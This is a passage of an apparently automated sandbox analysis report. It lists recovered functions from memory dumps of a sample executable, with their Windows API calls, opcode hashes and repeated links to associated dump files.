Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: FileModuleNamelstrcatlstrcpylstrlen
String ID: .HLP$.INI
API String ID: 2421895198-3011182340
Opcode ID: 1640ceba15720fcb6b996528c3ebe79967c1c686e591068eb913e9557436a345
Instruction ID: 61679c8baeb4873b5803df6630bfcfb850f5d72425a9a1196ff340a57ba81d22
Opcode Fuzzy Hash: 1640ceba15720fcb6b996528c3ebe79967c1c686e591068eb913e9557436a345
Instruction Fuzzy Hash: 92317075900718AFDB21DBB1DC85BC6B7FCAB04314F1049BBE599D3152EB78AA848B24

Function 0043D0F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GlobalFix.KERNEL32(?), ref: 0043D130
GlobalSize.KERNEL32(?), ref: 0043D153
GlobalSize.KERNEL32(?), ref: 0043D183
GlobalUnWire.KERNEL32(?), ref: 0043D193

Strings

BM, xrefs: 0043D14D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Global$Size$Wire
String ID: BM
API String ID: 2995285337-2348483157
Opcode ID: 39111fff8e713c599263a07734687ddc3659bdb782222fcfa2320d05e0f04540
Instruction ID: f15fff9eb8ec1adfc90596d5278b6ee75d060baea7a1b30c33f53ee7ca5e2d09
Opcode Fuzzy Hash: 39111fff8e713c599263a07734687ddc3659bdb782222fcfa2320d05e0f04540
Instruction Fuzzy Hash: ED218876D00254ABCB14DF99D8417DEFBB8FF49720F50466AE819E3381D7385940C7A9

Function 00434D10 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 60windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIcon.SHELL32(00000001), ref: 00434D89
DestroyCursor.USER32(?), ref: 00434D96
Shell_NotifyIcon.SHELL32 ref: 00434DC9

Strings

X, xrefs: 00434D27
d, xrefs: 00434D39

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: IconNotifyShell_$CursorDestroy
String ID: X$d
API String ID: 3039372612-651813629
Opcode ID: fe7b6b14121adafab298782f758d8c5a07c1eb218cdb4a4bae666a3fccc9c131
Instruction ID: 36aba95f7ce2e1351c07a1bb1a358eaffc2c140242957108f8663570e999fc5c
Opcode Fuzzy Hash: fe7b6b14121adafab298782f758d8c5a07c1eb218cdb4a4bae666a3fccc9c131
Instruction Fuzzy Hash: DC214D756087009FE310DF15D804B9BBBE5AFC8744F008A1EB9C992390DBB5A9088B96

Function 004AABFC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 004AAC3D
GetDlgItem.USER32(?,00000002), ref: 004AAC5C
IsWindowEnabled.USER32(00000000), ref: 004AAC67
SendMessageA.USER32(?,00000111,00000002,00000000), ref: 004AAC7D

Strings

Edit, xrefs: 004AAC47

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$EnabledItemLongMessageSend
String ID: Edit
API String ID: 3499652902-554135844
Opcode ID: 3706a251a2942c592f8cf79def95420de924ddd63e17f82cb1e5aa9723b0adc3
Instruction ID: db7f84543646574760d218ec08bbbc715123a62a36e2dd6d559883fb1e3d9568
Opcode Fuzzy Hash: 3706a251a2942c592f8cf79def95420de924ddd63e17f82cb1e5aa9723b0adc3
Instruction Fuzzy Hash: E601E1303402017BFB311A218D09B6AA354AB37760F100A2BF101E16E0CB68DC61C66F

Function 00430C50 Relevance: 7.9, APIs: 5, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: dd3050dc6ba067621d7d8ce704317e57c0f1ab6c75b72f96cdefe05b28ff769a
Instruction ID: 687f1d10f0bb05e7eb0d01f9bfbeb6ee651fe20edfa3ce05297409f04d404a64
Opcode Fuzzy Hash: dd3050dc6ba067621d7d8ce704317e57c0f1ab6c75b72f96cdefe05b28ff769a
Instruction Fuzzy Hash: 76C1B271604252AFC714DF64D885D6BB3F8EF88348F504A2EF84697312E73CE9458B9A

Function 00449930 Relevance: 7.7, APIs: 5, Instructions: 229COMMON

Download Yara Rule

APIs

CopyRect.USER32(?,00000000), ref: 004499B9
GetClientRect.USER32(00000000,?), ref: 004499F2
DPtoLP.GDI32 ref: 00449A48
GetClientRect.USER32(00000000,?), ref: 00449B1C
DPtoLP.GDI32 ref: 00449B72

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Client$Copy
String ID:
API String ID: 472922470-0
Opcode ID: 1d17cac522f5cc4331a5065a8810149265718cf6d66bf2283481b46055e56757
Instruction ID: 39be58350a18ce415161919ea232d6cb7449c47baa9fcc8c4b58b37735e3c519
Opcode Fuzzy Hash: 1d17cac522f5cc4331a5065a8810149265718cf6d66bf2283481b46055e56757
Instruction Fuzzy Hash: 94815F712083859FE724EF69C891A6FB7E5FBC4708F104A1EF18687241DB78AD05CB66

Function 0058C64A Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0058C755
_free.LIBCMT ref: 0058C76C
_free.LIBCMT ref: 0058C78B
_free.LIBCMT ref: 0058C7A6
_free.LIBCMT ref: 0058C7BD

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 918cee6df89bad2b1b63693d024b6821ac639a08c902f485f5fb155820a904f4
Instruction ID: 582f391cb7168717b43a9e7611e2ac27d0c696e58360a7767e03989d829e9cac
Opcode Fuzzy Hash: 918cee6df89bad2b1b63693d024b6821ac639a08c902f485f5fb155820a904f4
Instruction Fuzzy Hash: C451B471A00605EFDB21EF69D886A6A7FF4FF48720F14456DED09E7250E731E9018B94

Function 00429630 Relevance: 7.7, APIs: 5, Instructions: 159windowCOMMON

Download Yara Rule

APIs

IsRectEmpty.USER32(?), ref: 00429652
CreateRectRgn.GDI32 ref: 004296D4
GetClientRect.USER32(?,?), ref: 004296FD
FillRgn.GDI32(?,?,?), ref: 00429776
PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 004297EC

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$ClientCreateEmptyFill
String ID:
API String ID: 97219908-0
Opcode ID: 35af47d90ddde085e205997f12569aa0cd5fdff1a4679f2d4bb08ae1f5766c2d
Instruction ID: 8f5a47e59e59b409e6205c9a234d11b488af616320784b44e595cff89682c543
Opcode Fuzzy Hash: 35af47d90ddde085e205997f12569aa0cd5fdff1a4679f2d4bb08ae1f5766c2d
Instruction Fuzzy Hash: 6B515AB1214212AFD718DF65D885A6BB7E9BF98704F40891EB55583240D738EC09CBA6

Function 0049DD77 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0049DDD5
GetFileType.KERNEL32(?,?,00000000), ref: 0049DE80
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 0049DEE3
GetFileType.KERNEL32(00000000,?,00000000), ref: 0049DEF1
SetHandleCount.KERNEL32 ref: 0049DF28

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 28e8493598c4cda276b8815c1743ee87619e91c5fe6aa0721f9412012cb8af2b
Instruction ID: ac5efadfa2ee9a713b571d4ad89903383302119ca62bc79b31a895c6ffb1100b
Opcode Fuzzy Hash: 28e8493598c4cda276b8815c1743ee87619e91c5fe6aa0721f9412012cb8af2b
Instruction Fuzzy Hash: 6D51E431D046058FCF208B28CC88B7A7FE1AB25729F25467ED5A78B3E1D7389805D75A

Function 00588633 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 0058869F
__dosmaperr.LIBCMT ref: 005886DC
__dosmaperr.LIBCMT ref: 00588730
_free.LIBCMT ref: 0058873C
_free.LIBCMT ref: 00588743

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: __dosmaperr$_free
String ID:
API String ID: 242264518-0
Opcode ID: facb3feccaa1e18187a80c14c2773b79439a11a47a4294440b28170db2f39df4
Instruction ID: 76932beb47648f3c623ae6a464c8058ed0e616b0a4da1de819291206fdb5050b
Opcode Fuzzy Hash: facb3feccaa1e18187a80c14c2773b79439a11a47a4294440b28170db2f39df4
Instruction Fuzzy Hash: 5F319C3680420AAFDF11BFA59C49DBF7F78FF45360B640528FD14A6291EB3289109BA1

Function 00435A10 Relevance: 7.6, APIs: 5, Instructions: 104windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00435AE0
WinHelpA.USER32(?,00000000,00000002,00000000), ref: 00435AFB
GetMenu.USER32(?), ref: 00435B0B
SetMenu.USER32(?,00000000), ref: 00435B18
DestroyMenu.USER32(00000000), ref: 00435B23

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Menu$DestroyHelpWindow
String ID:
API String ID: 427501538-0
Opcode ID: 2a562980de3a9606b4d2f11156a9e016b332d1538d7a952ee78161deb971f34e
Instruction ID: 02cdb30a8ecbd69f27f7d8f34a20389761ab7a44bd107972dd352a4f19f4c3aa
Opcode Fuzzy Hash: 2a562980de3a9606b4d2f11156a9e016b332d1538d7a952ee78161deb971f34e
Instruction Fuzzy Hash: 9431A271600619AFC314EF66DC85E6BB7ACFF49348F050B1EF94693241DB39B8018BA9

Function 004A258C Relevance: 7.6, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00002020,00CC9300), ref: 004A25AD
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,004A2A58,00000000,00000010,00000000,00000009,00000009,?,0049A841,00000010,00000000), ref: 004A25D1
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,004A2A58,00000000,00000010,00000000,00000009,00000009,?,0049A841,00000010,00000000), ref: 004A25EB
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,004A2A58,00000000,00000010,00000000,00000009,00000009,?,0049A841,00000010,00000000,?), ref: 004A26AC
HeapFree.KERNEL32(00000000,00000000,?,?,004A2A58,00000000,00000010,00000000,00000009,00000009,?,0049A841,00000010,00000000,?,00000000), ref: 004A26C3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFreeHeap$Allocate
String ID:
API String ID: 3000792370-0
Opcode ID: 3d44964d14cda1d63d0b56679df718543a28fd9181a66d5c15087717ab5bbba2
Instruction ID: c8ff4fd5fb7465fdd039b81083a041a32a5dd8d22ec99a9493168cda3f4b72a7
Opcode Fuzzy Hash: 3d44964d14cda1d63d0b56679df718543a28fd9181a66d5c15087717ab5bbba2
Instruction Fuzzy Hash: 8A3102B0502B01AFD3208F28DD49B26B7E0EB65754F14463AE555973E0E7B8A841DB58

Function 00560C40 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00560C6D
std::_Lockit::_Lockit.LIBCPMT ref: 00560C8D
std::_Lockit::~_Lockit.LIBCPMT ref: 00560CAD
std::_Facet_Register.LIBCPMT ref: 00560D4B
std::_Lockit::~_Lockit.LIBCPMT ref: 00560D63

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: df0daa7c1942b8884333313fa9dcd89073822eaa2a2d825d5d0dfb323f70eb6f
Instruction ID: d1a081d769946cde1dc9219162510ae351f05e6b0593ece6c8eb8d88e62ddfa9
Opcode Fuzzy Hash: df0daa7c1942b8884333313fa9dcd89073822eaa2a2d825d5d0dfb323f70eb6f
Instruction Fuzzy Hash: 9A41AE71A042198BDB21DF54D885BABBFB8FB50720F14426DE845AB292DB30FD41CB81

Function 00431AA0 Relevance: 7.6, APIs: 5, Instructions: 92windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00431B10
GetMenu.USER32(?), ref: 00431B1F
DestroyAcceleratorTable.USER32(?), ref: 00431B6C
SetMenu.USER32(?,00000000), ref: 00431B81
DestroyMenu.USER32(?), ref: 00431B91

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
